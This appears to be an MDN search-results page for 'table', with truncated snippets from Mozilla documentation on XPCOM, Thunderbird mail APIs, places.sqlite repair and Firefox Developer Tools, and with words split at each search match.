coderesources specifies a file to use when generating the rules to be applied to the code signing. when you're signing mozilla applications with v1 signatures, you'll need to specify a custom coderesources file here. -f forces codesign to overwrite an existing signature on the application. -v increases the verbosity of the codesign tool's output. --deep for v2 signing, sign all nested execu
tables with the same settings. note that you cannot specify an identifier requirement if you do this, or otherwise you need to sign the outer application again with the identifier requirement. --requirement 'designated requirement' adds additional requirements for verifying the signature and application metadata. at a minimum you'll need to provide: identifier: this must be the same as the value ...
ROLE_OUTLINEITEM
« gecko roles page represents an item in an outline or tree structure. ...
Embedded Dialog API
application can override a default factory by registering its replacement. a powerplant example can be found at cbrowserapp::overridecomponents (line number accurate in version 1.24) and an mfc example at cmfcembedapp::overridecomponents (line number accurate in version 1.20). the powerplant example is more is more straightforward.its promptservice is implemented directly in the application execu
table, not as a separate library. this is perfectly workable, as the example illustrates. the mfc example implements its promptservice in a separate dll, and overrides the default promptservice only if it is able to load the override dll at application startup. its promptservice dialogs can be switched between default and overridden by moving the override dll into or out of the library search path. oth...
Feed content access API
ing the parsing process. nsifeedresult describes the result of parsing a feed. nsifeedresultlistener implemented by the program that wants to parse an rss or atom feed to receive notification when parsing is complete. nsifeedtextconstruct represents text values in a feed; includes functions that let you fetch the text as plain text or html. nsiscrip
tableunescapehtml a utility class that unescapes html strings. example: reading a feed from the web it's actually quite easy to read and parse a feed. use an xmlhttprequest to load the feed, then pass its string to an nsifeedprocessor to parse the feed. loading the feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; ...
Using the Places annotation service
this may change in the future. also, we may add functions to get all of "your" annotations matching a given namespace. you should not use any characters in your annotation names that are not valid as part of an html path. this includes colons, spaces, most punctuation, and non-ascii characters. you should try to have relatively few annotation names. the service stores these names in a separate
table, and the fewer names there are, the more efficient retrieving names will be. you should not design your service so that you require hundreds of unique annotation names. setting an annotation the annotation provides a variety of scrip
table and non-scrip
table setters for annotations on both pages and on items in the places database (see nsiannotationservice.idl for the exact declarations). from c...
places.sqlite Database Troubleshooting
e closing in your task manager. before you proceed, make a backup of the firefox profile folder, in any case. create a folder to use temporarily for this work, such as my_work_folder. copy places.sqlite-corrupt from the firefox profile folder to the work folder. download the latest precompiled binary sqlite command-line shell from: https://www.sqlite.org/download.html extract sqlite3 execu
table into the work folder. open a terminal window and navigate to the work folder. then open an sqlite shell: my_work_folder> sqlite3 places.sqlite-corrupt sqlite> pragma integrity_check; if the result is ok, this guide won't help; stop here and please file a bug. sqlite> .clone places.sqlite sqlite> pragma user_version; note the version number returned by the last pragma query. sqlite> .ex...
STEEL
it is a fuel-like set of interfaces to facilitate thunderbird extension development. currently, steel has an steeliapplication interface that implements all the functions of extiapplication. the library has also been implemented in firefox ("fuel") and in seamonkey ("smile"). ...
Bundling multiple binary components
b loader dynamic method loading the idea with this approach is to figure out all the methods imported from gecko and dynamically load the methods. create small wrappers for calling the methods, as you may need to thunk parameters depending on how much has changed between gecko versions. this means using something like loadlibrary / getprocaddress / freelibrary on windows. actually, nspr has por
table versions of those features that work across platforms. this approach uses only one binary for each platform (win/mac/linux) but creates complexity in the binaries - loading the methods and creating the wrappers. the costs get higher if you have many methods that need to be loaded. stub loader this approach involves using a stub loader component. the stub component is an xpcom component itself ...
Component Internals
you can also write a javascript component. to register, unregister, load and manage various component types, xpcom abstracts the interface between the xpcom component and xpcom with the component loader. this loader is responsible for initialization, loading, unloading, and supporting the nsimodule interface on behalf of each component. it is the component loader's responsibility to provide scrip
table component support. when building a "native" component, the component loader looks for an exported symbol from the components shared library. "native" here includes any language that can generate a platform native dynamically loaded library. scripting languages and other "non-native" languages usually have no way to build native libraries. in order to have "non-native" xpcom components work, xpco...
Creating the Component Code
moving outward, the first object is the xpcom object. this is the object that contains the business logic, that implements functionality such as starting a network download, implementing interfaces that listen to the download progress, or providing a new content type handler. in weblock, this is the part that brings together various gecko services and prevents users from leaving the list of accep
table domains. in a way, the factory and module layers are glue to plug the xpcom object into the larger xpcom system. one layer above the object itself is the nsifactory object. this object provides basic abstraction of the xpcom object itself. as you can see in onion peel view of xpcom component creation, the main accessor for the xpcom object is createinstance, which is expected to return the objec...
Resources
installer and information the sdk download linux: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-i686-pc-linux-gnu-1.4a.tar.gz windows: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-win32-1.4a.zip other mozilla downloads gecko resources internal string guide external string guide the gecko networking library ("necko") the netscape por
table runtime environment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scrip
table components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium url specification at the w3 gnu make « previous copyri...
Creating XPCOM components
ration macros weblock2.cpp string classes in xpcom using strings nsembedstring and nsembedcstring smart pointers starting weblock getting called at startup registering for notifications getting access to the category manager providing access to weblock creating the weblock programming interface defining the weblock interface in xpidl the xpidl syntax scrip
table interfaces subclassing nsisupports the web locking interface implementing weblock declaration macros representing return values in xpcom xpidl code generation getting the weblock service from a client implementing the iweblock interface the directory service modifying paths with nsifile manipulating files with nsifile using nsilocalfile for reading data processing t...
XPCOM guide
lable arrays as well as the enumerator classes that can be used to get to them. in this document the term array refers to a container for multiple objects with a numeric, zero-based index.xpcom changes in gecko 2.0several changes that affect xpcom component compatibility are taking place in gecko 2. this article details those changes, and provides suggestions for how to update your code.xpcom hash
table guidea hash
table is a data construct that stores a set of items. each item has a key that identifies the item. items are found, added, and removed from the hash
table by using the key. hash
tables may seem like arrays, but there are important differences:xpcom stream guidein mozilla code, a stream is an object which represents access to a sequence of characters. it is not that sequence of characte...
How to build a binary XPCOM component using Visual Studio
rface described using idl. the interface defines the methods, including arguments and return types, of the component. component implementation using c++. the implementation is where the methods actually do the work. component factory module, also in c++. the factory is in charge of creating instances of the implementations. let’s specify a simple interface: #include "nsisupports.idl" [scrip
table, uuid(263ed1ba-5cc1-11db-9673-00e08161165f)] interface ispecialthing : nsisupports { attribute astring name; long add(in long a, in long b); }; remember to generate your own guid. the next step is to compile the idl into a type-library (*.xpt) and a c++ header file (*.h), which we can use to define our implementation object. the blank vc++ project has a bat file that will create the xpt and...
Interfacing with the XPCOM cycle collector
ns_decl_cycle_collection_class_ambiguous(nsfoo, nsibar) if nsfoo inherits from multiple interfaces, where nsibar is the interface which is returned when you queryinterface nsfoo to nsisupports. (we call nsibar the canonical isupports type for nsfoo.) add a line ns_interface_map_entries_cycle_collection(nsfoo) to the interface map of nsfoo in nsfoo.cpp. or if that doesn't work: ns_interface_
table_head(nsfoo) ns_interface_
table2(nsfoo, nsibar, nsibaz) ns_interface_
table_to_map_segue_cycle_collection(nsfoo) ns_interface_map_end change the line ns_impl_addref(nsfoo) to ns_impl_cycle_collecting_addref(nsfoo) in nsfoo.cpp, and similarly change the line ns_impl_release(nsfoo) to ns_impl_cycle_collecting_release(nsfoo) in nsfoo.cpp. add the ap...
Components.interfaces
s is a read-only object whose properties are interfaces indexed by their names. introduction components.interfaces is a read-only object whose properties implement the nsijsiid interface. each object represents one of the xpcom interfaces -- that some component or another might or might not implement. it reflects only those interfaces which have been designated in their .idl description as scrip
table, that is the interfaces which xpconnect is capable of reflecting into javascript. properties of the components.interfaces object are used where xpcom methods expect a parameter of type nsid. this includes nsisupports.queryinterface(), the optional parameter accepted by nsijscid.getservice(), nsijscid.createinstance() when called from javascript, and nsiclassinfo.getinterfaces(). the properties ...
Components.interfacesByID
components.interfacesbyid is a read-only array of classes indexed by iid. introduction components.interfacesbyid is a read-only array of objects which implement the nsijsiid interface. each object represents one of the xpcom interfaces -- that some component or another might or might not implement. it reflects only those interfaces which have been designated in their .idl description as [scrip
table], i.e. the interfaces which xpconnect is capable of reflecting into javascript. components.interfacesbyid is exactly like components.interfaces except that the elements are indexed by the canonical form of their iid. usage you can retrieve an interface object using: var iface = components.interfacesbyid["{aa610f20-a889-11d3-8c81-000064657374}"]; ...
Weak reference
eryinterface method returns your object for the nsisupportsweakreference interface, and you're set; xpconnect does all the work for you. just roll in nssupportsweakreference, a mix-in class that does all the work, and adjust your queryinterface accordingly, e.g., //... #include "nsweakreference.h" class nsfoo : public nsifoo, ..., public nssupportsweakreference { ... }; // ...if you used the
table macros to implement |queryinterface|, add an entry ns_interface_map_begin(nsfoo) // ... ns_interface_map_entry(nsisupportsweakreference) // ... ns_interface_map_end // ...if you used a |ns_imple_queryinterfacen| macro, move up to the next higher one and add a term ns_impl_queryinterfacen+1( ...,nsisupportsweakreference) // ...if you implemented |queryinterface| by hand, add a clause ...
Working with Multiple Versions of Interfaces
the bad news is that the thing we get back is not a valid hwnd. the problem now is not just interface identifier mismatch, but class declaration mismatch. getwindowhandle is the tenth method declared in the nsiaccessibledocument.h that firefox 2 was built with, but actually the eighth method in the sdk that i used to build my extension (and hence xpcom component). since these classes don't use v
tables this means i'm probably, no i can be more positive, definitely calling the wrong method. if i were a betting man, i'd hedge a bet on getaccessibleinparentchain, that being the tenth method in the interface declaration in the new sdk. in actual fact we were lucky we actually got as far as we did, since the very first interface we made use of has changed substantially. if there is any truth to the...
Working with out parameters
void gettransferdata ( in string aflavor, out nsisupports adata, out unsigned long adatalen ) ; ... } the gettransferdata method takes three parameters, aflavor, adata, and adatalen, and returns nothing. adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call. these are so-called out parameters. usage in order to use such a method from javascript via xpconnect, you have to follow a specific rule. ...
pyxpidl
tory or whatever works best for you. generating c++ headers to generate c++ headers, use the header.py utility: sdkdir/sdk/bin/header.py --cachedir=<path> -o <outputfilename.h> <filename.idl> generating typelibs generating typelib files is done using the typelib.py utility: sdkdir/sdk/bin/typelib.py --cachedir=<path> -o <outputfilename.xpt> <filename.idl> comparing pyxpidl to xpidl this
table provides a mapping of old xpidl options to pyxpidl. xpidl option description pyxpidl equivalent -a emit annotations to typelib n/a (feature removed) -w turn on warnings n/a (this is now the default and can't be turned off) -v verbose mode (nyi) n/a (feature removed) -t creates a typelib of a specific version number n/a (f...
XUL Overlays
file tells the layout engine to load the named overlay file: <?xul-overlay href="chrome://component/content/componentoverlay.xul"?> where component is the name of the package being overlayed (e.g., chrome://navigator/content/navigatoroverlay.xul). the layout engine loads any overlay files and then flows the resulting xul document, so problems associated with incremental insertion in menus, boxes,
tables, and forms are avoided. any number of overlays can be loaded into a master document, and an overlay can also load other overlays. because an overlay is superimposed on the master document, there are no ambiguities relating to scoping of style sheets or scripts. style sheets and scripts loaded by the overlay simply apply to the entire master document. loading overlays dynamically the chrome regis...
Xray vision
' this.fullname = function() {' + ' return this.firstname + " " + this.lastname;'+ ' };' + '};' + 'var me = new person();' + 'object.defineproperty(me, "lastname", {' + ' enumerable: true,' + ' configurable: true,' + ' wri
table: true,' + ' value: "smith"' + '});' + 'object.defineproperty(me, "middlename", {' + ' enumerable: true,' + ' configurable: true,' + ' get: function() { return "wait, is this really a getter?"; }' + '});'; var sandbox = components.utils.sandbox("https://e...
Mozilla technologies
mozilla has several technologies used as components of its projects. these are documented here. accessibility api implementation detailsthese pages contain documentation on mozilla specific implementation details of assistive technology apis.animated png graphicsapng is an extension of the por
table network graphics (png) format, adding support for animated images. apng is a simpler alternative to mng, providing a spec sui
table for the most common usage of animated images on the internet.docshelldocshell is the second iteration of what originally started out as webshell. at the moment, the transition from webshell to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 ...
Address Book examples
, "doe"); secondly, call modifycard to save the card in the database. addressbook.modifycard(card); deleting contacts once you have obtained a card(s) from an nsiabdirectory (see above) you can delete one or more simply by calling the deletecards function: let cardstodelete = components.classes["@mozilla.org/array;1"] .createinstance(components.interfaces.nsimu
tablearray); cardstodelete.appendelement(card); // repeat append as necessary addressbook.deletecards(cardstodelete); how do i add and use my own properties? use the setproperty/getproperty functions on nsiabcard to set your property in the same way as you would do with normal properties: card.setproperty("random1", "xyz"); card.setproperty("random2", "foo"); ... my value = card.getproperty("rando...
Index
ome directory of thunderbird can sometimes appear confusing when you're just beginning to look at it. as such, i've always thought it would be nice to have a list of what xul, js, or other files are that are here, what they do, and where they overlay at different points within the client. things appear confusing for several reasons: 45 message interfaces interfaces, interfaces:scrip
table, needscontent, xpcom api reference, thunderbird nsimsghdr - this interface describes headers for all mail messages. it can be used to retrieve address, subject and related header information for a mail message. 46 message examples thunderbird no summary! 47 message list examples thunderbird no summary! 48 message list interfaces thund...
LDAP Support
tted. it expects the following format: the desired ldap attribute should be wrapped in square brackets. in this example, we are setting the organization unit as the ldap attribute. you can also insert arbitrary text to clarify the ldap attribute. i.e. "department: [ou]" would yield a type down entry that looks like "john smit department: client engineering". ldap schema the following
table summarizes the schema used by thunderbird to map between ldap attributes and attributes within the the address book. some notes about the relationship: there is a many to one relationship between ldap attributes and its address book counterpart. there is a one to one relationship between a address book attribute and its ldap counterpart. if there are multiple entries for a address book attrib...
MailNews fakeserver
are automatically added based on the newsgroups header. there are added in alphabetical order, which may help for purposes that rely on article key orders. the only generated header is lines. ...
MailNews Filters
in nsmsgfilterservice.cpp. this is implemented by doing a search using the filter criteria and applying the actions en masse on the resulting hits. the search is executed locally, not on the server, so that criteria like "in address book" still work. how to add a filter action add your new action to nsimsgfilteraction add code to file out the new action here add new action to the rulesaction
table add string for the new action to the filter editor dtd file add new action to the filter editor js code add new action to the xbl widget in the filter editor if your action has a parameter, add code to initialize the ui editing an existing filter here and to save to the filter here add your action to filter.properties so it will show up in the filter log. finally, add protocol-specific code...
Main Windows
formation. the base chrome directory of thunderbird can sometimes appear confusing when you're just beginning to look at it. as such, i've always thought it would be nice to have a list of what xul, js, or other files are that are here, what they do, and where they overlay at different points within the client. things appear confusing for several reasons: much of the code is written to be por
table, so instead of duplicating it, its been put in overlays that are loaded over many different types of windows. some of the code was written based off of early firefox code, but is not exactly the same. you’ll sometimes see reimplementations of things that are already in toolkit, written specially for thunderbird. messenger.xul the base mail window that you see when you first open thunderbird...
Spam filtering
detection. the purge code is implemented as a search of the "junk" folder, looking for "old" message that have the proper junk status. when does purging happens? elaborate on the mime changes that were made for spam. currently, spam filtering is does not work for news, but it would be possible to add support for this. (there is a bug on it.). ...
Styling the Folder Pane
secure indicates whether or not the connection to the server will be secure. newmessages-true afolder.hasnewmessages subfoldershaveunreadmessages-true afolder.getnumunread(true) > afolder.getnumunread(false) indicates whether or not subfolders have unread messages. noselect-{true, false} afolder.noselect indicates whether or not the folder is selec
table. imapshared-{true, false} afolder.imapshared indicates whether or not the folder is a shared folder. specialfolder-smart -- indicates that the folder is a child of a unified folder (previously known as smart folder) in the smart folders view. ...
libmime content type handlers
tion/location the installation of these modules will be similar to the that of any xpcom component (i.e. the components directory for the bin directory). sample content type handler plugin to see an example of a content type handler plugin, the source for the handler of the content type "text/calendar" can be viewed at the following link: calendar plugin note: this plugin simply creates a blue
table in the output stream to identify the fact that it is operational, but the basic constructs of what is needed to build a functional content type handler can be seen. the uuid for this component is: // {20dabda1-f8b5-11d2-8ee0-00a024a7d144} #define ns_vcard_content_type_handler_cid \ { 0x20dabda1, 0xf8b5, 0x11d2, \ { 0x8e, 0xe0, 0x0, 0xa0, 0x24, 0xa7, 0xd1, 0x44 } } ...
Using Mozilla code in other projects
ations with ease. mozilla toolkit information about the mozilla toolkit api. signing mozilla apps for mac os x how to code-sign applications based on mozilla code for mac os x's application security model. using mozilla components spidermonkey spidermonkey is the javascript runtime engine used by mozilla projects. nspr the netscape por
table runtime provides a platform-neutral api for system level and libc-type functions. necko the mozilla networking library provides cross-platform networking functionality. embedding mozilla for information on embedding a web browser into your own application see embedding mozilla. ...
js-ctypes
for a discussion on extended c++ support see bug 505907. other work made possible by js-ctypes is jni, this is elaborated on in the jni.jsm section and not the js-ctypes section due to the jsm abstracting away all of the js-ctypes. unlike binary xpcom components, it allows developers to ship a single binary for use with multiple versions of firefox. note: js-ctypes is only available from chrome code; that is, ctypes is not available to websites, only application and extension code. ...
Browser Side Plug-in API - Plugins
l of these methods begin with npn_ to indicate that they are implemented by the browser and called by the plug-in. for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. warning: you must only call these from the main thread; calling them from other threads is not supported and may have unpredic
table results. netscape plug-in method summary « previousnext » npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnot...
URLs - Plugins
rget pages, posting data to an http server, uploading files to an ftp server, and sending mail. uniform resource locator (url) protocols provide a means for locating and accessing resources that are available on the internet and on intranets. plug-ins can request and receive the data associated with urls of any type that the browser can handle, including http, ftp, news, mailto, and gopher. the
table below summarizes urls supported by gecko. in addition, gecko may support urls not listed on this
table. url scheme description about locates browser information or "fun" pages. file (host-specific filenames) locates files on a specific host computer rather than an internet resource. ftp (file transfer protocol) locates files and directories on inte...
Color vision simulation - Firefox Developer Tools
maly (low green) tritanomaly (low blue) protanopia (no red) deuteranopia (no green) tritanopia (no blue) contrast loss these simulations are not completely medically accurate. however, they can give you a sense of what your web site looks like to users with vision problems, and therefore help you judge whether you need to make adjustments in your color or contrast choices. the following
table shows a colorful image of a cat's face, and what it looks like in the various simulations. simulation image displayed none protanomaly (low red) deuteranomaly (low green) tritanomaly (low blue) protanopia (no red) deuteranopia (no green) tritanopia (no blue) contrast loss ...
DOM Inspector internals - Firefox Developer Tools
.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul toolboxoverlay.xul utils.js venkmanoverlay.xul viewerregistry.js overlays you will notice that there are a lot of overlays. some overlays can be described as host-integration overlays, and others as shared structure overlays. host-integration overlays dom inspector is a general-purpose extension, sui
table for use with any mozilla toolkit host application. in order for dom inspector to be useful with its host application, though, there should be a way to launch dom inspector within it, e.g., by a menu item and an optional keyboard shortcut such as ctrl+shift+i (or cmd+shift+i). either the host applications must provide these themselves (usually bundling dom inspector with the application, too), or ...
DOM Property Viewer - Firefox Developer Tools
operties of the dom are displayed as an expandable tree. the left-hand side shows the property's name, and the right-hand side shows its value. up to three properties of an object and items of an array are displayed. if a property has more elements than this, you'll see a "more..." annotation, and will need to click the property to see all elements. a lock icon indicates that a property is not wri
table. refreshing the display if the dom changes you can hit the refresh button to update the display: filtering there is a search box within the toolbar: this filters the list to show only items which match the search term. items match the search term if their name contains the search term. matching is case-sensitive. ...
Examine, modify, and watch variables - Firefox Developer Tools
iptors mean. you can filter the variables that are displayed, either by using the "*" modifier in the script filter, or by typing into the filter variables box, if you have enabled this in the debugger settings. if a variable exists in the source but has been optimized away by the javascript engine, then it is shown in the variables view, but is given the value (optimized away), and is not edi
table. in the screenshot below the variable upvar has been optimized away: modify variables when the code has stopped at a breakpoint, you can modify variables in the variables pane of the debugger. just click on the variable's current value and you'll be able to type there: watch an expression watch expressions are expressions that are evaluated each time execution pauses. you can then examine...
UI Tour - Firefox Developer Tools
tring in the file using ctrl + f (cmd + f on a mac). breakpoints have a blue arrow overlaid on the line number. conditional breakpoints have an orange arrow. if you're stopped at a breakpoint, the entire line gets a green overlay. in the screenshot below there are three breakpoints: line 82 has a normal breakpoint and execution is paused here line 85 has a logpoint which logs the contents of
tablerow to the console line 100 has a conditional breakpoint the third column shows more information about the breakpoints. for example, the logpoint at line 85 logs the value of the
tablerow variable to the console and the conditional breakpoint at line 100 breaks if the contents of the todolist is undefined. toolbar at the top of the right-hand pane, there's a toolbar: the toolbar consists...
Debugger.Memory - Firefox Developer Tools
nsumption on real browsers, so it is correct for the tool to expose these behaviors, as long as it is done in a way that helps developers make decisions about their own code. this section covers some areas where firefox’s actual behavior deviates from what one might expect from the specified behavior of the web platform. objects spidermonkey objects usually use less memory than the naïve “
table of properties with attributes” model would suggest. for example, it is typical for many objects to have identical sets of properties, with only the properties’ values varying from one object to the next. to take advantage of this regularity, spidermonkey objects with identical sets of properties may share their property metadata; only property values are stored directly in the object. array ...
Debugger.Object - Firefox Developer Tools
figurable. seal() prevent properties from being added to or deleted from the referent. return this debugger.object instance. (this function behaves like the standard object.seal function, except that the object to be sealed is implicit and in a different compartment from the caller.) freeze() prevent properties from being added to or deleted from the referent, and mark each property as non-wri
table. return this debugger.object instance. (this function behaves like the standard object.freeze function, except that the object to be sealed is implicit and in a different compartment from the caller.) preventextensions() prevent properties from being added to the referent. (this function behaves like the standard object.preventextensions function, except that the object to operate on is implici...
Debugger.Script - Firefox Developer Tools
inenumber: 1, columnnumber: 5, offset: 5 }, { linenumber: 1, columnnumber: 10, offset: 20 }, { linenumber: 3, columnnumber: 4, offset: 10 }] if the instance refers to webassembly code, throw a typeerror. getlineoffsets(line) if the instance refers to a jsscript, return an array of bytecode instruction offsets representing the entry points to source lineline. if the script contains no execu
table code at that line, the array returned is empty. getoffsetlocation(offset) if the instance refers to a jsscript, return an object describing the source code location responsible for the bytecode atoffset in this script. the object has the following properties: linenumber: the line number for which offset is an entry point columnnumber: the column number for which offset is an...
Debugger.Source - Firefox Developer Tools
ment relating the source positions in this source to the corresponding source positions in the original source, then this property’s value is that url. otherwise, this is null. (on the web, the translator may provide the source map url in a specially formatted comment in the javascript source code, or via a header in the http reply that carried the generated javascript.) this property is wri
table, so you can change the source map url by setting it. all debugger.source objects referencing the same source will see the change. setting an empty string has no effect and will not change existing value. if the instance refers to webassembly code, null. attempts to write to this property throw a typeerror. displayurl if the script had a special //# sourceurl comment, as described in the sou...
Tutorial: Set a breakpoint - Firefox Developer Tools
multaneously. in fact, you can use the browser content toolbox’s debugger panel to set its own breakpoint in report, and it will trigger along with the first two. keep in mind, however, that when multiple debuggers share a debuggee, the order in which their handlers run is not specified. if more than one tool tries to influence the debuggee’s behavior, their combined behavior could be unpredic
table. close the web page and the browser content toolbox. since both the scratchpad’s global object and the debuggee window are now gone, the debugger instances will be garbage collected, since they can no longer have any visible effect on firefox’s behavior. the debugger api tries to interact with garbage collection as transparently as possible; for example, if both a debugger.object ins...
Deprecated tools - Firefox Developer Tools
you to examine an audio context constructed in the page and provided a visualization of its graph. this gave a high-level view of its operation, and enabled you to ensure that all the nodes are connected in the way you expect. it was possible to edit the audioparam properties for each node in the graph. some non-audioparam properties, like an oscillatornode's type property, were displayed and edi
table as well. it was deprecated due to lack of use. more details about the web audio editor alternatives alternatives include audion and https://github.com/spite/webaudioextension web extensions. shader editor bugzilla issue: bug 1342237 removed as of firefox 67 description the shader editor allowed users to examine and edit the source of the webgl vertex and fragment shaders. it was depreca...
All keyboard shortcuts - Firefox Developer Tools
ole is the currently selected tool) esc esc esc these shortcuts work in all tools that are hosted in the toolbox. command windows macos linux increase font size ctrl + + cmd + + ctrl + + decrease font size ctrl + - cmd + - ctrl + - reset font size ctrl + 0 cmd + 0 ctrl + 0 source editor this
table lists the default shortcuts for the source editor. in the editor preferences section of the developer tools settings, you can choose to use vim, emacs, or sublime text key bindings instead. to select these, visit about:config, select the setting devtools.editor.keymap, and assign "vim" or "emacs", or "sublime" to that setting. if you do this, the selected bindings will be used for all the devel...
Memory - Firefox Developer Tools
apshot comparing two snapshots deleting snapshots saving and loading snapshots recording call stacks analyzing snapshots the tree map view is new in firefox 48, and the dominators view is new in firefox 46. once you've taken a snapshot, there are three main views the memory tool provides: the tree map view shows memory usage as a treemap. the aggregate view shows memory usage as a
table of allocated types. the dominators view shows the "retained size" of objects: that is, the size of objects plus the size of other objects that they keep alive through references. if you've opted to record allocation stacks for the snapshot, the aggregate and dominators views can show you exactly where in your code allocations are happening. concepts dominators example pages examples...
Migrating from Firebug - Firefox Developer Tools
side the cookies panel in firebug. inside the devtools, the cookies are grouped by domain under the cookies section within the storage inspector. both show pretty much the same information per cookie, i.e. the name, value, domain, path, expiration date and whether the cookie is http-only. the devtools don't show by default whether a cookie is secure, but this can be enabled by right-clicking the
table header and checking secure from the context menu. additionally, the devtools allow to display the creation date of a cookie as well as when it was last accessed and whether it is host-only. edit cookies to edit a cookie in firebug you have to right-click the cookie and choose edit from the context menu. then a dialog pops up allowing you to edit the data of the cookie and save it. inside the st...
Performance Analysis - Firefox Developer Tools
uests, you'll get a stopwatch icon in the main window.) the network monitor then loads the site twice: once with an empty browser cache, and once with a primed browser cache. this simulates the first time a user visits your site, and subsequent visits. it displays the results for each run side by side, or vertically if the browser window is narrow: the results for each run are summarised in a
table and a pie chart. the
tables group resources by type, and show the total size of each resource and the total time it took to load them. the accompanying pie chart shows the relative size of each resource type. to get back to the network monitor's list of network requests click the "back" button on the left. clicking on a slice of the pie takes you to the network monitor for that run, with a filt...
Throttling - Firefox Developer Tools
o you can see how your app will behave under different connection types. throttling the toolbar includes a throttling dropdown, which allows you to throttle your network speed to emulate various different network speed conditions. simply choose an option from the menu, and it will persist across reloads. the characteristics emulated are: download speed upload speed minimum latency the
table below lists the numbers associated with each network type, but please do not rely on this feature for exact performance measurements; it's intended to give an approximate idea of the user experience in different conditions. the speeds are expressed in multiples of bits per second. selection download speed upload speed minimum latency (ms) gprs 50 kbps 20 kbps...
Network monitor recording - Firefox Developer Tools
you can pause and resume the monitoring of network traffic using the pause button. pausing and resume network traffic recording the network monitor has a button that pauses and resumes recording of the current page's network traffic. this is useful in situations where, for example, you are trying to get a s
table view of a page for debugging purposes, but under normal circumstances the view keeps evolving due to persistent network requests. the pause button allows you to look at a certain snapshot. the button can be found at the far left of the main network monitor toolbar, and looks like a typical pause button — . you can see it here in context: once pressed, the button changes to a play icon, and you can toggle network traffic recording back on by pressing it again. network monitor ...
Network request details - Firefox Developer Tools
lowing screenshot showing response cookies with further attributes shown. the samesite attribute has been shown since firefox 62 (bug 1452715). params tab this tab displays the get parameters and post data of a request: response tab the complete content of the response. if the response is html, js, or css, it will be shown as text: if the response is json, it will be shown as an inspec
table object: if the response is an image, the tab displays a preview: for network responses that are initiated by a websocket connection, the details pane shows any associated messages. for more information, see inspecting web sockets. cache tab if the response is cached (i.e. a 304), the cache tab displays details about that cached resource. these details include: last fetched: the date...
Network request list - Firefox Developer Tools
ows a list of all the network requests made in the course of loading the page. each request is displayed in its own row: by default, the network monitor is cleared each time you navigate to a new page or reload the current page. you can override this behavior by checking "enable persistent logs" in the settings. network request columns you can toggle columns on and off by right-clicking on the
table header and choosing the specific column from the context menu. a reset columns command is available on the context menu to reset the columns to their initial configuration. you can also change the width of the columns to help make the information you are looking for easier to view. the mouse pointer changes to a resize icon when you move it over the border of a column. you can drag to manually s...
Examine and edit CSS - Firefox Developer Tools
nvalid value for a property when editing it, or an unknown property name, a yellow alert icon appears besides the declaration. edits that you make in the rules view are reflected in the style editor, and vice versa. any changes you make are temporary: reloading the page will restore the original styling. while you're editing css, the context menu you'll see is the normal one for working with edi
table text: css variable autocompletion css variable names will auto-complete depending on the variables defined in the css. if you enter var( into a property value and then type a dash (-), any variables you have declared in your css will then appear in an autocomplete list, which shows a color swatch so you can see exactly what color each variable choice is storing (bug 1451211). in addition...
Examine and edit HTML - Firefox Developer Tools
edit an element's outerhtml, activate the element's popup menu and select "edit as html". you'll see a text box in the html pane: you can add any html in here: changing the element's tag, changing existing elements, or adding new ones. once you click outside the box, the changes are applied to the page. when you're editing html, the context menu you'll see is the normal one for working with edi
table text: copy and paste you can use the popup menu to copy nodes in the html tree and paste them into the desired location. drag and drop you can reorganize the html content of a page by moving nodes in the html tree. just click and hold on any element and drag it up or down in the tree. when you release the mouse button, the element will be inserted at the corresponding position: you can c...
Work with animations - Firefox Developer Tools
— see transform in the screenshot below. hovering over this gives you a tooltip that explains why. in this case, the message is "animations of 'transform' cannot be run on the compositor when geometric properties are animated on the same element at the same time." edit @keyframes any @keyframes rules associated with the currently selected element are displayed in the rules view and are edi
table: edit timing functions when you create a css animation you can specify a timing function: this determines the rate at which the animation progresses. one way to specify the timing function is with a cubic bézier curve. timing functions defined as cubic bézier curves get an icon in the rules view. if you click the icon you get a visual editor for the curve, enabling you to drag p1 and p2, a...
UI Tour - Firefox Developer Tools
click the triangle to show all the occurences. to configure the set of browsers you want the compatibility view to check for, click settings at the bottom of the panel. untick the checkbox for any browser you are not interested in. as new browser versions are released, the version numbers in this list will be updated. fonts view the fonts view shows all the fonts in the page along with edi
table samples. see view fonts for more details. animations view the animations view gives you details of any animations applied to the selected element, and a controller to pause them: see work with animations for more details. ...
Call Tree - Firefox Developer Tools
page for the flame chart. the screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. to do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn. we've zoomed into the part of the recording that shows a long javascript marker: the call tree presents the results in a
table. each row represents a function in which at least one sample was taken, and the rows are ordered by the number of samples taken while in that function, highest to lowest. samples is the number of samples that were taken when we were executing this particular function, including its children (the other functions called by this particular function). total time is that number translated into milli...
Frame rate - Firefox Developer Tools
riggers some javascript that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. if it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky). similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an accep
table frame rate, scrolling the page will appear sluggish or will occasionally freeze. in general, a high and consistent frame rate will make the user's interaction with the site more enjoyable and engaging. a frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event. h...
Extension Storage - Firefox Developer Tools
this storage type is only shown when debugging extensions. when selecting an extension id in the storage tree of the storage inspector, a
table lists the details of all the extension storage present for the extension. this
table contains the following columns: key — the name of the stored item. value — the value of the stored item. storage area — the name of the area where the item is stored. ...
Local Storage / Session Storage - Firefox Developer Tools
when an origin corresponding to local storage or session storage is selected within the storage inspector, the names and values of all the items corresponding to local storage or session storage will be listed in a
table. you can edit local and session storage items by double-clicking inside cells in the
